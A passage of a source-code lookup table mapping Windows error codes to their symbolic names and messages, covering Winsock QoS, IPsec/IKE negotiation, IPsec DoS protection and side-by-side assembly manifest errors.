0x00002b0b: ("WSA_QOS_EFILTERSTYLE", "An invalid QOS filter style was used."),
0x00002b0c: ("WSA_QOS_EFILTERTYPE", "An invalid QOS filter type was used."),
0x00002b0d: ("WSA_QOS_EFILTERCOUNT", "An incorrect number of QOS FILTERSPECs were specified in the FLOWDESCRIPTOR."),
0x00002b0e: ("WSA_QOS_EOBJLENGTH", "An object with an invalid ObjectLength field was specified in the QOS provider-specific buffer."),
0x00002b0f: ("WSA_QOS_EFLOWCOUNT", "An incorrect number of flow descriptors was specified in the QOS structure."),
0x00002b10: ("WSA_QOS_EUNKOWNPSOBJ", "An unrecognized object was found in the QOS provider-specific buffer."),
0x00002b11: ("WSA_QOS_EPOLICYOBJ", "An invalid policy object was found in the QOS provider-specific buffer."),
0x00002b12: ("WSA_QOS_EFLOWDESC", "An invalid QOS flow descriptor was found in the flow descriptor list."),
0x00002b13: ("WSA_QOS_EPSFLOWSPEC", "An invalid or inconsistent flowspec was found in the QOS provider specific buffer."),
0x00002b14: ("WSA_QOS_EPSFILTERSPEC", "An invalid FILTERSPEC was found in the QOS provider-specific buffer."),
0x00002b15: ("WSA_QOS_ESDMODEOBJ", "An invalid shape discard mode object was found in the QOS provider specific buffer."),
0x00002b16: ("WSA_QOS_ESHAPERATEOBJ", "An invalid shaping rate object was found in the QOS provider-specific buffer."),
0x00002b17: ("WSA_QOS_RESERVED_PETYPE", "A reserved policy element was found in the QOS provider-specific buffer."),
0x00002b18: ("WSA_SECURE_HOST_NOT_FOUND", "No such host is known securely."),
0x00002b19: ("WSA_IPSEC_NAME_POLICY_ERROR", "Name based IPSEC policy could not be added."),
0x000032c8: ("ERROR_IPSEC_QM_POLICY_EXISTS", "The specified quick mode policy already exists."),
0x000032c9: ("ERROR_IPSEC_QM_POLICY_NOT_FOUND", "The specified quick mode policy was not found."),
0x000032ca: ("ERROR_IPSEC_QM_POLICY_IN_USE", "The specified quick mode policy is being used."),
0x000032cb: ("ERROR_IPSEC_MM_POLICY_EXISTS", "The specified main mode policy already exists."),
0x000032cc: ("ERROR_IPSEC_MM_POLICY_NOT_FOUND", "The specified main mode policy was not found"),
0x000032cd: ("ERROR_IPSEC_MM_POLICY_IN_USE", "The specified main mode policy is being used."),
0x000032ce: ("ERROR_IPSEC_MM_FILTER_EXISTS", "The specified main mode filter already exists."),
0x000032cf: ("ERROR_IPSEC_MM_FILTER_NOT_FOUND", "The specified main mode filter was not found."),
0x000032d0: ("ERROR_IPSEC_TRANSPORT_FILTER_EXISTS", "The specified transport mode filter already exists."),
0x000032d1: ("ERROR_IPSEC_TRANSPORT_FILTER_NOT_FOUND", "The specified transport mode filter does not exist."),
0x000032d2: ("ERROR_IPSEC_MM_AUTH_EXISTS", "The specified main mode authentication list exists."),
0x000032d3: ("ERROR_IPSEC_MM_AUTH_NOT_FOUND", "The specified main mode authentication list was not found."),
0x000032d4: ("ERROR_IPSEC_MM_AUTH_IN_USE", "The specified main mode authentication list is being used."),
0x000032d5: ("ERROR_IPSEC_DEFAULT_MM_POLICY_NOT_FOUND", "The specified default main mode policy was not found."),
0x000032d6: ("ERROR_IPSEC_DEFAULT_MM_AUTH_NOT_FOUND", "The specified default main mode authentication list was not found."),
0x000032d7: ("ERROR_IPSEC_DEFAULT_QM_POLICY_NOT_FOUND", "The specified default quick mode policy was not found."),
0x000032d8: ("ERROR_IPSEC_TUNNEL_FILTER_EXISTS", "The specified tunnel mode filter exists."),
0x000032d9: ("ERROR_IPSEC_TUNNEL_FILTER_NOT_FOUND", "The specified tunnel mode filter was not found."),
0x000032da: ("ERROR_IPSEC_MM_FILTER_PENDING_DELETION", "The Main Mode filter is pending deletion."),
0x000032db: ("ERROR_IPSEC_TRANSPORT_FILTER_PENDING_DELETION", "The transport filter is pending deletion."),
0x000032dc: ("ERROR_IPSEC_TUNNEL_FILTER_PENDING_DELETION", "The tunnel filter is pending deletion."),
0x000032dd: ("ERROR_IPSEC_MM_POLICY_PENDING_DELETION", "The Main Mode policy is pending deletion."),
0x000032de: ("ERROR_IPSEC_MM_AUTH_PENDING_DELETION", "The Main Mode authentication bundle is pending deletion."),
0x000032df: ("ERROR_IPSEC_QM_POLICY_PENDING_DELETION", "The Quick Mode policy is pending deletion."),
0x000032e0: ("WARNING_IPSEC_MM_POLICY_PRUNED", "The Main Mode policy was successfully added, but some of the requested offers are not supported."),
0x000032e1: ("WARNING_IPSEC_QM_POLICY_PRUNED", "The Quick Mode policy was successfully added, but some of the requested offers are not supported."),
0x000035e8: ("ERROR_IPSEC_IKE_NEG_STATUS_BEGIN", " ERROR_IPSEC_IKE_NEG_STATUS_BEGIN"),
0x000035e9: ("ERROR_IPSEC_IKE_AUTH_FAIL", "IKE authentication credentials are unacceptable"),
0x000035ea: ("ERROR_IPSEC_IKE_ATTRIB_FAIL", "IKE security attributes are unacceptable"),
0x000035eb: ("ERROR_IPSEC_IKE_NEGOTIATION_PENDING", "IKE Negotiation in progress"),
0x000035ec: ("ERROR_IPSEC_IKE_GENERAL_PROCESSING_ERROR", "General processing error"),
0x000035ed: ("ERROR_IPSEC_IKE_TIMED_OUT", "Negotiation timed out"),
0x000035ee: ("ERROR_IPSEC_IKE_NO_CERT", "IKE failed to find valid machine certificate. Contact your Network Security Administrator about installing a valid certificate in the appropriate Certificate Store."),
0x000035ef: ("ERROR_IPSEC_IKE_SA_DELETED", "IKE SA deleted by peer before establishment completed"),
0x000035f0: ("ERROR_IPSEC_IKE_SA_REAPED", "IKE SA deleted before establishment completed"),
0x000035f1: ("ERROR_IPSEC_IKE_MM_ACQUIRE_DROP", "Negotiation request sat in Queue too long"),
0x000035f2: ("ERROR_IPSEC_IKE_QM_ACQUIRE_DROP", "Negotiation request sat in Queue too long"),
0x000035f3: ("ERROR_IPSEC_IKE_QUEUE_DROP_MM", "Negotiation request sat in Queue too long"),
0x000035f4: ("ERROR_IPSEC_IKE_QUEUE_DROP_NO_MM", "Negotiation request sat in Queue too long"),
0x000035f5: ("ERROR_IPSEC_IKE_DROP_NO_RESPONSE", "No response from peer"),
0x000035f6: ("ERROR_IPSEC_IKE_MM_DELAY_DROP", "Negotiation took too long"),
0x000035f7: ("ERROR_IPSEC_IKE_QM_DELAY_DROP", "Negotiation took too long"),
0x000035f8: ("ERROR_IPSEC_IKE_ERROR", "Unknown error occurred"),
0x000035f9: ("ERROR_IPSEC_IKE_CRL_FAILED", "Certificate Revocation Check failed"),
0x000035fa: ("ERROR_IPSEC_IKE_INVALID_KEY_USAGE", "Invalid certificate key usage"),
0x000035fb: ("ERROR_IPSEC_IKE_INVALID_CERT_TYPE", "Invalid certificate type"),
0x000035fc: ("ERROR_IPSEC_IKE_NO_PRIVATE_KEY", "IKE negotiation failed because the machine certificate used does not have a private key. IPsec certificates require a private key. Contact your Network Security administrator about replacing with a certificate that has a private key."),
0x000035fd: ("ERROR_IPSEC_IKE_SIMULTANEOUS_REKEY", "Simultaneous rekeys were detected."),
0x000035fe: ("ERROR_IPSEC_IKE_DH_FAIL", "Failure in Diffie-Hellman computation"),
0x000035ff: ("ERROR_IPSEC_IKE_CRITICAL_PAYLOAD_NOT_RECOGNIZED", "Don't know how to process critical payload"),
0x00003600: ("ERROR_IPSEC_IKE_INVALID_HEADER", "Invalid header"),
0x00003601: ("ERROR_IPSEC_IKE_NO_POLICY", "No policy configured"),
0x00003602: ("ERROR_IPSEC_IKE_INVALID_SIGNATURE", "Failed to verify signature"),
0x00003603: ("ERROR_IPSEC_IKE_KERBEROS_ERROR", "Failed to authenticate using Kerberos"),
0x00003604: ("ERROR_IPSEC_IKE_NO_PUBLIC_KEY", "Peer's certificate did not have a public key"),
0x00003605: ("ERROR_IPSEC_IKE_PROCESS_ERR", "Error processing error payload"),
0x00003606: ("ERROR_IPSEC_IKE_PROCESS_ERR_SA", "Error processing SA payload"),
0x00003607: ("ERROR_IPSEC_IKE_PROCESS_ERR_PROP", "Error processing Proposal payload"),
0x00003608: ("ERROR_IPSEC_IKE_PROCESS_ERR_TRANS", "Error processing Transform payload"),
0x00003609: ("ERROR_IPSEC_IKE_PROCESS_ERR_KE", "Error processing KE payload"),
0x0000360a: ("ERROR_IPSEC_IKE_PROCESS_ERR_ID", "Error processing ID payload"),
0x0000360b: ("ERROR_IPSEC_IKE_PROCESS_ERR_CERT", "Error processing Cert payload"),
0x0000360c: ("ERROR_IPSEC_IKE_PROCESS_ERR_CERT_REQ", "Error processing Certificate Request payload"),
0x0000360d: ("ERROR_IPSEC_IKE_PROCESS_ERR_HASH", "Error processing Hash payload"),
0x0000360e: ("ERROR_IPSEC_IKE_PROCESS_ERR_SIG", "Error processing Signature payload"),
0x0000360f: ("ERROR_IPSEC_IKE_PROCESS_ERR_NONCE", "Error processing Nonce payload"),
0x00003610: ("ERROR_IPSEC_IKE_PROCESS_ERR_NOTIFY", "Error processing Notify payload"),
0x00003611: ("ERROR_IPSEC_IKE_PROCESS_ERR_DELETE", "Error processing Delete Payload"),
0x00003612: ("ERROR_IPSEC_IKE_PROCESS_ERR_VENDOR", "Error processing VendorId payload"),
0x00003613: ("ERROR_IPSEC_IKE_INVALID_PAYLOAD", "Invalid payload received"),
0x00003614: ("ERROR_IPSEC_IKE_LOAD_SOFT_SA", "Soft SA loaded"),
0x00003615: ("ERROR_IPSEC_IKE_SOFT_SA_TORN_DOWN", "Soft SA torn down"),
0x00003616: ("ERROR_IPSEC_IKE_INVALID_COOKIE", "Invalid cookie received."),
0x00003617: ("ERROR_IPSEC_IKE_NO_PEER_CERT", "Peer failed to send valid machine certificate"),
0x00003618: ("ERROR_IPSEC_IKE_PEER_CRL_FAILED", "Certification Revocation check of peer's certificate failed"),
0x00003619: ("ERROR_IPSEC_IKE_POLICY_CHANGE", "New policy invalidated SAs formed with old policy"),
0x0000361a: ("ERROR_IPSEC_IKE_NO_MM_POLICY", "There is no available Main Mode IKE policy."),
0x0000361b: ("ERROR_IPSEC_IKE_NOTCBPRIV", "Failed to enabled TCB privilege."),
0x0000361c: ("ERROR_IPSEC_IKE_SECLOADFAIL", "Failed to load SECURITY.DLL."),
0x0000361d: ("ERROR_IPSEC_IKE_FAILSSPINIT", "Failed to obtain security function table dispatch address from SSPI."),
0x0000361e: ("ERROR_IPSEC_IKE_FAILQUERYSSP", "Failed to query Kerberos package to obtain max token size."),
0x0000361f: ("ERROR_IPSEC_IKE_SRVACQFAIL", "Failed to obtain Kerberos server credentials for ISAKMP/ERROR_IPSEC_IKE service. Kerberos authentication will not function. The most likely reason for this is lack of domain membership. This is normal if your computer is a member of a workgroup."),
0x00003620: ("ERROR_IPSEC_IKE_SRVQUERYCRED", "Failed to determine SSPI principal name for ISAKMP/ERROR_IPSEC_IKE service (QueryCredentialsAttributes)."),
0x00003621: ("ERROR_IPSEC_IKE_GETSPIFAIL", "Failed to obtain new SPI for the inbound SA from IPsec driver. The most common cause for this is that the driver does not have the correct filter. Check your policy to verify the filters."),
0x00003622: ("ERROR_IPSEC_IKE_INVALID_FILTER", "Given filter is invalid"),
0x00003623: ("ERROR_IPSEC_IKE_OUT_OF_MEMORY", "Memory allocation failed."),
0x00003624: ("ERROR_IPSEC_IKE_ADD_UPDATE_KEY_FAILED", "Failed to add Security Association to IPsec Driver. The most common cause for this is if the IKE negotiation took too long to complete. If the problem persists, reduce the load on the faulting machine."),
0x00003625: ("ERROR_IPSEC_IKE_INVALID_POLICY", "Invalid policy"),
0x00003626: ("ERROR_IPSEC_IKE_UNKNOWN_DOI", "Invalid DOI"),
0x00003627: ("ERROR_IPSEC_IKE_INVALID_SITUATION", "Invalid situation"),
0x00003628: ("ERROR_IPSEC_IKE_DH_FAILURE", "Diffie-Hellman failure"),
0x00003629: ("ERROR_IPSEC_IKE_INVALID_GROUP", "Invalid Diffie-Hellman group"),
0x0000362a: ("ERROR_IPSEC_IKE_ENCRYPT", "Error encrypting payload"),
0x0000362b: ("ERROR_IPSEC_IKE_DECRYPT", "Error decrypting payload"),
0x0000362c: ("ERROR_IPSEC_IKE_POLICY_MATCH", "Policy match error"),
0x0000362d: ("ERROR_IPSEC_IKE_UNSUPPORTED_ID", "Unsupported ID"),
0x0000362e: ("ERROR_IPSEC_IKE_INVALID_HASH", "Hash verification failed"),
0x0000362f: ("ERROR_IPSEC_IKE_INVALID_HASH_ALG", "Invalid hash algorithm"),
0x00003630: ("ERROR_IPSEC_IKE_INVALID_HASH_SIZE", "Invalid hash size"),
0x00003631: ("ERROR_IPSEC_IKE_INVALID_ENCRYPT_ALG", "Invalid encryption algorithm"),
0x00003632: ("ERROR_IPSEC_IKE_INVALID_AUTH_ALG", "Invalid authentication algorithm"),
0x00003633: ("ERROR_IPSEC_IKE_INVALID_SIG", "Invalid certificate signature"),
0x00003634: ("ERROR_IPSEC_IKE_LOAD_FAILED", "Load failed"),
0x00003635: ("ERROR_IPSEC_IKE_RPC_DELETE", "Deleted via RPC call"),
0x00003636: ("ERROR_IPSEC_IKE_BENIGN_REINIT", "Temporary state created to perform reinitialization. This is not a real failure."),
0x00003637: ("ERROR_IPSEC_IKE_INVALID_RESPONDER_LIFETIME_NOTIFY", "The lifetime value received in the Responder Lifetime Notify is below the Windows 2000 configured minimum value. Please fix the policy on the peer machine."),
0x00003638: ("ERROR_IPSEC_IKE_INVALID_MAJOR_VERSION", "The recipient cannot handle version of IKE specified in the header."),
0x00003639: ("ERROR_IPSEC_IKE_INVALID_CERT_KEYLEN", "Key length in certificate is too small for configured security requirements."),
0x0000363a: ("ERROR_IPSEC_IKE_MM_LIMIT", "Max number of established MM SAs to peer exceeded."),
0x0000363b: ("ERROR_IPSEC_IKE_NEGOTIATION_DISABLED", "IKE received a policy that disables negotiation."),
0x0000363c: ("ERROR_IPSEC_IKE_QM_LIMIT", "Reached maximum quick mode limit for the main mode. New main mode will be started."),
0x0000363d: ("ERROR_IPSEC_IKE_MM_EXPIRED", "Main mode SA lifetime expired or peer sent a main mode delete."),
0x0000363e: ("ERROR_IPSEC_IKE_PEER_MM_ASSUMED_INVALID", "Main mode SA assumed to be invalid because peer stopped responding."),
0x0000363f: ("ERROR_IPSEC_IKE_CERT_CHAIN_POLICY_MISMATCH", "Certificate doesn't chain to a trusted root in IPsec policy."),
0x00003640: ("ERROR_IPSEC_IKE_UNEXPECTED_MESSAGE_ID", "Received unexpected message ID."),
0x00003641: ("ERROR_IPSEC_IKE_INVALID_AUTH_PAYLOAD", "Received invalid authentication offers."),
0x00003642: ("ERROR_IPSEC_IKE_DOS_COOKIE_SENT", "Sent DoS cookie notify to initiator."),
0x00003643: ("ERROR_IPSEC_IKE_SHUTTING_DOWN", "IKE service is shutting down."),
0x00003644: ("ERROR_IPSEC_IKE_CGA_AUTH_FAILED", "Could not verify binding between CGA address and certificate."),
0x00003645: ("ERROR_IPSEC_IKE_PROCESS_ERR_NATOA", "Error processing NatOA payload."),
0x00003646: ("ERROR_IPSEC_IKE_INVALID_MM_FOR_QM", "Parameters of the main mode are invalid for this quick mode."),
0x00003647: ("ERROR_IPSEC_IKE_QM_EXPIRED", "Quick mode SA was expired by IPsec driver."),
0x00003648: ("ERROR_IPSEC_IKE_TOO_MANY_FILTERS", "Too many dynamically added IKEEXT filters were detected."),
0x00003649: ("ERROR_IPSEC_IKE_NEG_STATUS_END", " ERROR_IPSEC_IKE_NEG_STATUS_END"),
0x0000364a: ("ERROR_IPSEC_IKE_KILL_DUMMY_NAP_TUNNEL", "NAP reauth succeeded and must delete the dummy NAP IKEv2 tunnel."),
0x0000364b: ("ERROR_IPSEC_IKE_INNER_IP_ASSIGNMENT_FAILURE", "Error in assigning inner IP address to initiator in tunnel mode."),
0x0000364c: ("ERROR_IPSEC_IKE_REQUIRE_CP_PAYLOAD_MISSING", "Require configuration payload missing."),
0x0000364d: ("ERROR_IPSEC_KEY_MODULE_IMPERSONATION_NEGOTIATION_PENDING", "A negotiation running as the security principle who issued the connection is in progress"),
0x0000364e: ("ERROR_IPSEC_IKE_COEXISTENCE_SUPPRESS", "SA was deleted due to IKEv1/AuthIP co-existence suppress check."),
0x0000364f: ("ERROR_IPSEC_IKE_RATELIMIT_DROP", "Incoming SA request was dropped due to peer IP address rate limiting."),
0x00003650: ("ERROR_IPSEC_IKE_PEER_DOESNT_SUPPORT_MOBIKE", "Peer does not support MOBIKE."),
0x00003651: ("ERROR_IPSEC_IKE_AUTHORIZATION_FAILURE", "SA establishment is not authorized."),
0x00003652: ("ERROR_IPSEC_IKE_STRONG_CRED_AUTHORIZATION_FAILURE", "SA establishment is not authorized because there is not a sufficiently strong PKINIT-based credential."),
0x00003653: ("ERROR_IPSEC_IKE_AUTHORIZATION_FAILURE_WITH_OPTIONAL_RETRY", "SA establishment is not authorized. You may need to enter updated or different credentials such as a smartcard."),
0x00003654: ("ERROR_IPSEC_IKE_STRONG_CRED_AUTHORIZATION_AND_CERTMAP_FAILURE", "SA establishment is not authorized because there is not a sufficiently strong PKINIT-based credential. This might be related to certificate-to-account mapping failure for the SA."),
0x00003655: ("ERROR_IPSEC_IKE_NEG_STATUS_EXTENDED_END", " ERROR_IPSEC_IKE_NEG_STATUS_EXTENDED_END"),
0x00003656: ("ERROR_IPSEC_BAD_SPI", "The SPI in the packet does not match a valid IPsec SA."),
0x00003657: ("ERROR_IPSEC_SA_LIFETIME_EXPIRED", "Packet was received on an IPsec SA whose lifetime has expired."),
0x00003658: ("ERROR_IPSEC_WRONG_SA", "Packet was received on an IPsec SA that does not match the packet characteristics."),
0x00003659: ("ERROR_IPSEC_REPLAY_CHECK_FAILED", "Packet sequence number replay check failed."),
0x0000365a: ("ERROR_IPSEC_INVALID_PACKET", "IPsec header and/or trailer in the packet is invalid."),
0x0000365b: ("ERROR_IPSEC_INTEGRITY_CHECK_FAILED", "IPsec integrity check failed."),
0x0000365c: ("ERROR_IPSEC_CLEAR_TEXT_DROP", "IPsec dropped a clear text packet."),
0x0000365d: ("ERROR_IPSEC_AUTH_FIREWALL_DROP", "IPsec dropped an incoming ESP packet in authenticated firewall mode. This drop is benign."),
0x0000365e: ("ERROR_IPSEC_THROTTLE_DROP", "IPsec dropped a packet due to DoS throttling."),
0x00003665: ("ERROR_IPSEC_DOSP_BLOCK", "IPsec DoS Protection matched an explicit block rule."),
0x00003666: ("ERROR_IPSEC_DOSP_RECEIVED_MULTICAST", "IPsec DoS Protection received an IPsec specific multicast packet which is not allowed."),
0x00003667: ("ERROR_IPSEC_DOSP_INVALID_PACKET", "IPsec DoS Protection received an incorrectly formatted packet."),
0x00003668: ("ERROR_IPSEC_DOSP_STATE_LOOKUP_FAILED", "IPsec DoS Protection failed to look up state."),
0x00003669: ("ERROR_IPSEC_DOSP_MAX_ENTRIES", "IPsec DoS Protection failed to create state because the maximum number of entries allowed by policy has been reached."),
0x0000366a: ("ERROR_IPSEC_DOSP_KEYMOD_NOT_ALLOWED", "IPsec DoS Protection received an IPsec negotiation packet for a keying module which is not allowed by policy."),
0x0000366b: ("ERROR_IPSEC_DOSP_NOT_INSTALLED", "IPsec DoS Protection has not been enabled."),
0x0000366c: ("ERROR_IPSEC_DOSP_MAX_PER_IP_RATELIMIT_QUEUES", "IPsec DoS Protection failed to create a per internal IP rate limit queue because the maximum number of queues allowed by policy has been reached."),
0x000036b0: ("ERROR_SXS_SECTION_NOT_FOUND", "The requested section was not present in the activation context."),
0x000036b1: ("ERROR_SXS_CANT_GEN_ACTCTX", "The application has failed to start because its side-by-side configuration is incorrect. Please see the application event log or use the command-line sxstrace.exe tool for more detail."),
0x000036b2: ("ERROR_SXS_INVALID_ACTCTXDATA_FORMAT", "The application binding data format is invalid."),
0x000036b3: ("ERROR_SXS_ASSEMBLY_NOT_FOUND", "The referenced assembly is not installed on your system."),
0x000036b4: ("ERROR_SXS_MANIFEST_FORMAT_ERROR", "The manifest file does not begin with the required tag and format information."),
0x000036b5: ("ERROR_SXS_MANIFEST_PARSE_ERROR", "The manifest file contains one or more syntax errors."),
0x000036b6: ("ERROR_SXS_ACTIVATION_CONTEXT_DISABLED", "The application attempted to activate a disabled activation context."),
0x000036b7: ("ERROR_SXS_KEY_NOT_FOUND", "The requested lookup key was not found in any active activation context."),
0x000036b8: ("ERROR_SXS_VERSION_CONFLICT", "A component version required by the application conflicts with another component version already active."),
0x000036b9: ("ERROR_SXS_WRONG_SECTION_TYPE", "The type requested activation context section does not match the query API used."),
0x000036ba: ("ERROR_SXS_THREAD_QUERIES_DISABLED", "Lack of system resources has required isolated activation to be disabled for the current thread of execution."),
0x000036bb: ("ERROR_SXS_PROCESS_DEFAULT_ALREADY_SET", "An attempt to set the process default activation context failed because the process default activation context was already set."),
0x000036bc: ("ERROR_SXS_UNKNOWN_ENCODING_GROUP", "The encoding group identifier specified is not recognized."),
0x000036bd: ("ERROR_SXS_UNKNOWN_ENCODING", "The encoding requested is not recognized."),
0x000036be: ("ERROR_SXS_INVALID_XML_NAMESPACE_URI", "The manifest contains a reference to an invalid URI."),
0x000036bf: ("ERROR_SXS_ROOT_MANIFEST_DEPENDENCY_NOT_INSTALLED", "The application manifest contains a reference to a dependent assembly which is not installed"),
0x000036c0: ("ERROR_SXS_LEAF_MANIFEST_DEPENDENCY_NOT_INSTALLED", "The manifest for an assembly used by the application has a reference to a dependent assembly which is not installed"),
0x000036c1: ("ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE", "The manifest contains an attribute for the assembly identity which is not valid."),
0x000036c2: ("ERROR_SXS_MANIFEST_MISSING_REQUIRED_DEFAULT_NAMESPACE", "The manifest is missing the required default namespace specification on the assembly element."),
0x000036c3: ("ERROR_SXS_MANIFEST_INVALID_REQUIRED_DEFAULT_NAMESPACE", "The manifest has a default namespace specified on the assembly element but its value is not 'urn:schemas-microsoft-com:asm.v1'."),
0x000036c4: ("ERROR_SXS_PRIVATE_MANIFEST_CROSS_PATH_WITH_REPARSE_POINT", "The private manifest probed has crossed a path with an unsupported reparse point."),
0x000036c5: ("ERROR_SXS_DUPLICATE_DLL_NAME", "Two or more components referenced directly or indirectly by the application manifest have files by the same name."),
0x000036c6: ("ERROR_SXS_DUPLICATE_WINDOWCLASS_NAME", "Two or more components referenced directly or indirectly by the application manifest have window classes with the same name."),
0x000036c7: ("ERROR_SXS_DUPLICATE_CLSID", "Two or more components referenced directly or indirectly by the application manifest have the same COM server CLSIDs."),
0x000036c8: ("ERROR_SXS_DUPLICATE_IID", "Two or more components referenced directly or indirectly by the application manifest have proxies for the same COM interface IIDs."),
0x000036c9: ("ERROR_SXS_DUPLICATE_TLBID", "Two or more components referenced directly or indirectly by the application manifest have the same COM type library TLBIDs."),
0x000036ca: ("ERROR_SXS_DUPLICATE_PROGID", "Two or more components referenced directly or indirectly by the application manifest have the same COM ProgIDs."),
0x000036cb: ("ERROR_SXS_DUPLICATE_ASSEMBLY_NAME", "Two or more components referenced directly or indirectly by the application manifest are different versions of the same component which is not permitted."),
0x000036cc: ("ERROR_SXS_FILE_HASH_MISMATCH", "A component's file does not match the verification information present in the component manifest."),
0x000036cd: ("ERROR_SXS_POLICY_PARSE_ERROR", "The policy manifest contains one or more syntax errors."),
0x000036ce: ("ERROR_SXS_XML_E_MISSINGQUOTE", "Manifest Parse Error : A string literal was expected, but no opening quote character was found."),
0x000036cf: ("ERROR_SXS_XML_E_COMMENTSYNTAX", "Manifest Parse Error : Incorrect syntax was used in a comment."),
0x000036d0: ("ERROR_SXS_XML_E_BADSTARTNAMECHAR", "Manifest Parse Error : A name was started with an invalid character."),
0x000036d1: ("ERROR_SXS_XML_E_BADNAMECHAR", "Manifest Parse Error : A name contained an invalid character."),
0x000036d2: ("ERROR_SXS_XML_E_BADCHARINSTRING", "Manifest Parse Error : A string literal contained an invalid character."),
0x000036d3: ("ERROR_SXS_XML_E_XMLDECLSYNTAX", "Manifest Parse Error : Invalid syntax for an xml declaration."),
0x000036d4: ("ERROR_SXS_XML_E_BADCHARDATA", "Manifest Parse Error : An Invalid character was found in text content."),
0x000036d5: ("ERROR_SXS_XML_E_MISSINGWHITESPACE", "Manifest Parse Error : Required white space was missing."),
0x000036d6: ("ERROR_SXS_XML_E_EXPECTINGTAGEND", "Manifest Parse Error : The character '>' was expected."),
0x000036d7: ("ERROR_SXS_XML_E_MISSINGSEMICOLON", "Manifest Parse Error : A semi colon character was expected."),
0x000036d8: ("ERROR_SXS_XML_E_UNBALANCEDPAREN", "Manifest Parse Error : Unbalanced parentheses."),
0x000036d9: ("ERROR_SXS_XML_E_INTERNALERROR", "Manifest Parse Error : Internal error."),
0x000036da: ("ERROR_SXS_XML_E_UNEXPECTED_WHITESPACE", "Manifest Parse Error : Whitespace is not allowed at this location."),
0x000036db: ("ERROR_SXS_XML_E_INCOMPLETE_ENCODING", "Manifest Parse Error : End of file reached in invalid state for current encoding."),
0x000036dc: ("ERROR_SXS_XML_E_MISSING_PAREN", "Manifest Parse Error : Missing parenthesis."),
0x000036dd: ("ERROR_SXS_XML_E_EXPECTINGCLOSEQUOTE", "Manifest Parse Error : A single or double closing quote character (\' or \") is missing."),
0x000036de: ("ERROR_SXS_XML_E_MULTIPLE_COLONS", "Manifest Parse Error : Multiple colons are not allowed in a name."),
0x000036df: ("ERROR_SXS_XML_E_INVALID_DECIMAL", "Manifest Parse Error : Invalid character for decimal digit."),
0x000036e0: ("ERROR_SXS_XML_E_INVALID_HEXIDECIMAL", "Manifest Parse Error : Invalid character for hexadecimal digit."),
0x000036e1: ("ERROR_SXS_XML_E_INVALID_UNICODE", "Manifest Parse Error : Invalid unicode character value for this platform."),
0x000036e2: ("ERROR_SXS_XML_E_WHITESPACEORQUESTIONMARK", "Manifest Parse Error : Expecting whitespace or '?'."),
0x000036e3: ("ERROR_SXS_XML_E_UNEXPECTEDENDTAG", "Manifest Parse Error : End tag was not expected at this location."),
0x000036e4: ("ERROR_SXS_XML_E_UNCLOSEDTAG", "Manifest Parse Error : The following tags were not closed: %1."),
0x000036e5: ("ERROR_SXS_XML_E_DUPLICATEATTRIBUTE", "Manifest Parse Error : Duplicate attribute."),
0x000036e6: ("ERROR_SXS_XML_E_MULTIPLEROOTS", "Manifest Parse Error : Only one top level element is allowed in an XML document."),
0x000036e7: ("ERROR_SXS_XML_E_INVALIDATROOTLEVEL", "Manifest Parse Error : Invalid at the top level of the document."),
0x000036e8: ("ERROR_SXS_XML_E_BADXMLDECL", "Manifest Parse Error : Invalid xml declaration."),
0x000036e9: ("ERROR_SXS_XML_E_MISSINGROOT", "Manifest Parse Error : XML document must have a top level element."),
0x000036ea: ("ERROR_SXS_XML_E_UNEXPECTEDEOF", "Manifest Parse Error : Unexpected end of file."),
0x000036eb: ("ERROR_SXS_XML_E_BADPEREFINSUBSET", "Manifest Parse Error : Parameter entities cannot be used inside markup declarations in an internal subset."),
0x000036ec: ("ERROR_SXS_XML_E_UNCLOSEDSTARTTAG", "Manifest Parse Error : Element was not closed."),
0x000036ed: ("ERROR_SXS_XML_E_UNCLOSEDENDTAG", "Manifest Parse Error : End element was missing the character '>'."),
0x000036ee: ("ERROR_SXS_XML_E_UNCLOSEDSTRING", "Manifest Parse Error : A string literal was not closed."),
0x000036ef: ("ERROR_SXS_XML_E_UNCLOSEDCOMMENT", "Manifest Parse Error : A comment was not closed."),
0x000036f0: ("ERROR_SXS_XML_E_UNCLOSEDDECL", "Manifest Parse Error : A declaration was not closed."),
0x000036f1: ("ERROR_SXS_XML_E_UNCLOSEDCDATA", "Manifest Parse Error : A CDATA section was not closed."),
0x000036f2: ("ERROR_SXS_XML_E_RESERVEDNAMESPACE", "Manifest Parse Error : The namespace prefix is not allowed to start with the reserved string 'xml'."),
0x000036f3: ("ERROR_SXS_XML_E_INVALIDENCODING", "Manifest Parse Error : System does not support the specified encoding."),
0x000036f4: ("ERROR_SXS_XML_E_INVALIDSWITCH", "Manifest Parse Error : Switch from current encoding to specified encoding not supported."),
0x000036f5: ("ERROR_SXS_XML_E_BADXMLCASE", "Manifest Parse Error : The name 'xml' is reserved and must be lower case."),
0x000036f6: ("ERROR_SXS_XML_E_INVALID_STANDALONE", "Manifest Parse Error : The standalone attribute must have the value 'yes' or 'no'."),
0x000036f7: ("ERROR_SXS_XML_E_UNEXPECTED_STANDALONE", "Manifest Parse Error : The standalone attribute cannot be used in external entities."),
0x000036f8: ("ERROR_SXS_XML_E_INVALID_VERSION", "Manifest Parse Error : Invalid version number."),
0x000036f9: ("ERROR_SXS_XML_E_MISSINGEQUALS", "Manifest Parse Error : Missing equals sign between attribute and attribute value."),
0x000036fa: ("ERROR_SXS_PROTECTION_RECOVERY_FAILED", "Assembly Protection Error : Unable to recover the specified assembly."),
0x000036fb: ("ERROR_SXS_PROTECTION_PUBLIC_KEY_TOO_SHORT", "Assembly Protection Error : The public key for an assembly was too short to be allowed."),
0x000036fc: ("ERROR_SXS_PROTECTION_CATALOG_NOT_VALID", "Assembly Protection Error : The catalog for an assembly is not valid, or does not match the assembly's manifest."),
0x000036fd: ("ERROR_SXS_UNTRANSLATABLE_HRESULT", "An HRESULT could not be translated to a corresponding Win32 error code."),
0x000036fe: ("ERROR_SXS_PROTECTION_CATALOG_FILE_MISSING", "Assembly Protection Error : The catalog for an assembly is missing."),
0x000036ff: ("ERROR_SXS_MISSING_ASSEMBLY_IDENTITY_ATTRIBUTE", "The supplied assembly identity is missing one or more attributes which must be present in this context."),
0x00003700: ("ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE_NAME", "The supplied assembly identity has one or more attribute names that contain characters not permitted in XML names."),
0x00003701: ("ERROR_SXS_ASSEMBLY_MISSING", "The referenced assembly could not be found."),
0x00003702: ("ERROR_SXS_CORRUPT_ACTIVATION_STACK", "The activation context activation stack for the running thread of execution is corrupt."),
